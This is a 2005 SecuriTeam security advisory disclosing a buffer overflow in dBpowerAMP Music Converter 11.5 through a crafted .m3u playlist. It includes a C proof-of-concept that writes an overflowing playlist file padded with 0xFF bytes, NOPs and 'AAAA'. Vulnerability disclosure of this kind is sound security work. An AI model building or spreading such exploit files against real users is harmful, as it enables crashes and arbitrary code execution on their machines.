[EXPL] dBpowerAMP Music Converter Buffer Overflow

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
- - promotion

The SecuriTeam alerts list - Free, Accurate, Independent.

Get your security news from a reliable source.
http://www.securiteam.com/mailinglist.html

- - - - - - - - -



dBpowerAMP Music Converter Buffer Overflow
------------------------------------------------------------------------


SUMMARY

<http://www.dbpoweramp.com/> dMC "can digitally rip sound from audio CDs
to a multitude of formats".

A malicious ".m3u" playlist file format suplied to dMC can lead to buffer
overflow and allows attackers to execute arbitrary code.

DETAILS

Vulnerable Systems:
* dBpowerAMP Music Converter version 11.5 and prior

A malicious playlist file format ".m3u" file can generate a local
exploitation of a buffer overflow and allows attackers to execute
arbitrary code under the context of the user who started the process.

Proof of concept:
Build & mouse over the file or open it with dMC.

Exploit:
/*
Illustrate dBpowerAMP dMCShell Module Buffer Overflow
Date: 23 December, 2005
Credits: SecuBox Labs
Discovered by: fRoGGz
*/

#include <stdio.h>

char SecuBox[]=
"\x3A\x20\x53\x65\x63\x75\x42\x6F\x78\x20\x4C\x61\x62\x73\x20\x3A"
"\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF"
"\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF"
"\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF"
"\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF"
"\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF"
"\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF"
"\x2D\x2D\x5B\x20\x32\x36\x30\x20\x20\x42\x6F\x46\x20\x5D\x2D\x2D"
"\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF"
"\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF"
"\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF"
"\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF"
"\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF"
"\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF"
"\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF"
"\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF"
"\xFF\xFF\xFF\xFF\x90\x90\x90\x90"
"\x41\x41\x41\x41"; // AAAA ...

int main(int argc, char* argv[]) {
FILE *fp;

printf ("SecuBox Labs - Proof Of Concept\n");
printf ("Illustrate dBpowerAMP dMCShell Module Buffer Overflow\n\n");

fp = fopen ("SecuBox.Labs.m3u","w+");
if (!fp) {
printf (" fopen error.\n");
return -1;
}

fwrite (SecuBox, 1, strlen(SecuBox) , fp);
fclose (fp);

printf ("SecuBox.Labs.m3u created.\n");
return 0;

}


ADDITIONAL INFORMATION

The information has been provided by <mailto:unsecure@xxxxxxxxxxx>
fRoGGz.
The original article can be found at:
<http://secubox.shadock.net/dBpowerAMP_Music_Converter_v11.5_Local_Buffer_Overflow_Issue.html> dBpowerAMP Music Converter v11.5 Local Buffer Overflow Issue



========================================


This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@xxxxxxxxxxxxxx
In order to subscribe to the mailing list, simply forward this email to: list-subscribe@xxxxxxxxxxxxxx


====================
====================

DISCLAIMER:
The information in this bulletin is provided "AS IS" without warranty of any kind.
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.

Relevant Pages